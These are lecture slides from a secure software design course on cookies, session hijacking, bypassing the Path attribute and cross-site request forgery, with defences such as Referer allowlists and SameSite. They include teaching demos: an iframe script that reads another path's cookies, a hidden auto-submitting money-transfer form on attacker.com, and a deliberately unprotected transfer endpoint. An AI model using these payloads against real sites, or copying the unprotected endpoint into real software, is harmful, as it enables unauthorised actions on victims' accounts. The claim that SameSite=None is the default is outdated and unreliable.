Secure Software Design and Engineering
(CY-321)

Session Attacks: Cross-Site Request Forgery (CSRF)

Dr. Zubair Ahmad


Cookie Value
Set-Cookie: theme=dark; Expires=<date>;
Header Name
Cookie Name
Attr. Name
Attr. Value

How do you Delete Cookies?

- Set cookie with same name and an expiration date in the past
- Cookie value can be omitted

```
Set-Cookie: key=; Expires=Thu, 01 Jan 1970 00:00:00 GMT
```

Basic Cookies Attributes

Expires- Specifies expiration date. If no date, then lasts for "browser session"

Path - Scope the "Cookie" header to a particular request path prefix e.g. path=/docs will match /docs and /docs/Web/

Domain - Allows the cookie to be scoped to a "broader domain" (within the same registrable domain) e.g. web.giki.edu can set cookies for giki.edu

Note: path and Domain violate Same Origin Policy Do not use path to keep cookies secret from other pages on the same origin By using Domain, one origin can set cookies for another origin

```
// Set cookies
document.cookie = 'name=feross';
document.cookie = 'favoritefood=Cookies';

// View cookies
document.cookie;
// 'name=feross; favoritefood=Cookies;'

// Delete a cookie
document.cookie = 'name=; Expires=Thu, 01 Jan 1970
00:00:00 GMT';

// View cookies after deletion
document.cookie;
// 'favoritefood=Cookies;'
```

Session Hijacking

- Sending cookies over unencrypted HTTP is a very bad idea
  - If anyone sees the cookie, they can use it to hijack the user's session
  - Attacker sends victim's cookie as if it was their own
  - Server will be fooled

Session Hijacking

Use the Secure attribute for cookies to enhance security

When setting cookies, include the Secure attribute to ensure that cookies are only transmitted over encrypted HTTPS connections, preventing exposure over unencrypted HTTP.

```
Set-Cookie: key=value; Secure
```

Cookie `Path` Bypass

Do not use Path for security

Path does not protect against unauthorized reading of the cookie from a different path on the same origin

Can be bypassed using an with the path of the cookie
Then, read iframe.contentDocument.cookie

This is allowed by Same Origin Policy

Therefore, only use Path as a performance optimization

Demo: Attack

```
// On SSD site
document.cookie = 'sessionId=1234; Path=/class/ssd/';

// On DSA site
const iframe = document.createElement('iframe');
iframe.src = 'https://giki.edu.pk/class/dsa/';
document.body.appendChild(iframe);
iframe.style.display = 'none';

// Wait for the iframe to load
iframe.onload = function () {
    console.log(iframe.contentDocument.cookie);
};
```

Make Cookie `Path` Secure?

- No solution! Always unsafe to rely on **`Path`**
- Same Origin Policy
  - Pages on the *same origin* can access each other's cookies (and a whole lot more)

Cross-Site Request Forgery (CSRF)

Attack which forces an end user to execute unwanted actions on a web app in which they're currently authenticated

Normal users: CSRF attack can force user to perform requests like transferring funds, changing email address, etc.

Admin users: CSRF attack can force admins to add new admin user, or in the worst case, run commands directly on the server

Effective even when attacker can't read the HTTP response

Cross-Site Request Forgery (CSRF)

Consider this HTML embedded in **attacker.com**:

```
 <h1>Welcome to your account!</h1>
<img src='https://bank.com/avatar.png' />
```

Browser helpfully includes **bank.com** cookies in all requests to **bank.com**, even though the request originated from **attacker.com**
attacker.com can embed user's real avatar from **bank.com**

Demo: Cross-Site Request Forgery (CSRF)

attacker.com:9999 (Main page)

```
<h1>Cool cat site</h1>
<img src='cat.gif' />
<iframe src='attacker-frame.html'
style='display: none'></iframe>
```

Attacker's Frame Page (attacker.com:9999/attacker-frame.html)

```
<form method='POST'
action='http://bank.com:8000/transfer'>
  <input name='amount' value='100' />
  <input name='to' value='alice' />
  <input type='submit' value='Send' />
</form>
<script>
  document.forms[0].submit();
</script>
```

Demo: Cross-Site Request Forgery (CSRF)

```
const BALANCES = { alice: 500, bob: 100 };

app.get('/', (req, res) => {
  const { sessionId } = req.cookies;
  const username = SESSIONS[sessionId];

  if (username) {
    res.send(`
      <h1>Welcome, ${username}</h1>
      <p>Your balance is $${BALANCES[username]}</p>
      <p><a href='/logout'>Logout</a></p>
      <form method='POST' action='/transfer'>
        Send amount:
        <input name='amount' />
        To user:
        <input name='to' />
        <input type='submit' value='Send' />
      </form>
    `);
  } else {
    createReadStream('index.html').pipe(res);
  }
});
```

Demo: Cross-Site Request Forgery (CSRF)

```
app.post('/transfer', (req, res) => {
  const { sessionId } = req.cookies;
  const username = SESSIONS[sessionId];

  if (!username) {
    res.send('Only logged in users can transfer money');
    return;
  }

  const amount = Number(req.body.amount);
  const to = req.body.to;

  BALANCES[username] -= amount;
  BALANCES[to] += amount;

  res.redirect('/');
});
```

- Inspect the **Referer**HTTP header
- Reject any requests from origins not on an "allowlist"
- Gotcha: Watch out for HTTP caches!

- Gotcha: Watch out for HTTP caches!
  - Add a **`Vary: Referer`** header
  - Or, add a **`Cache-Control: no-store`** header
- Gotcha: Sites can opt out of sending the **`Referer`** header!
- Gotcha: Browser extensions might omit **`Referer`** for privacy reasons

- Use **`SameSite`**cookie attribute to prevent cookie from being sent with requests initiated by other sites
  - **`SameSite=None`**- default, always send cookies
  - **`SameSite=Lax`**- withhold cookies on subresource requests originating from other sites, allow them on top-level requests
  - **`SameSite=Strict`**- only send cookies if the request originates from the website that set the cookie

```
Set-Cookie: key=value; Secure; HttpOnly; Path=/; SameSite=Lax
```

Questions??

zubair.ahmad@giki.edu.pk

Office: G14 FCSE lobby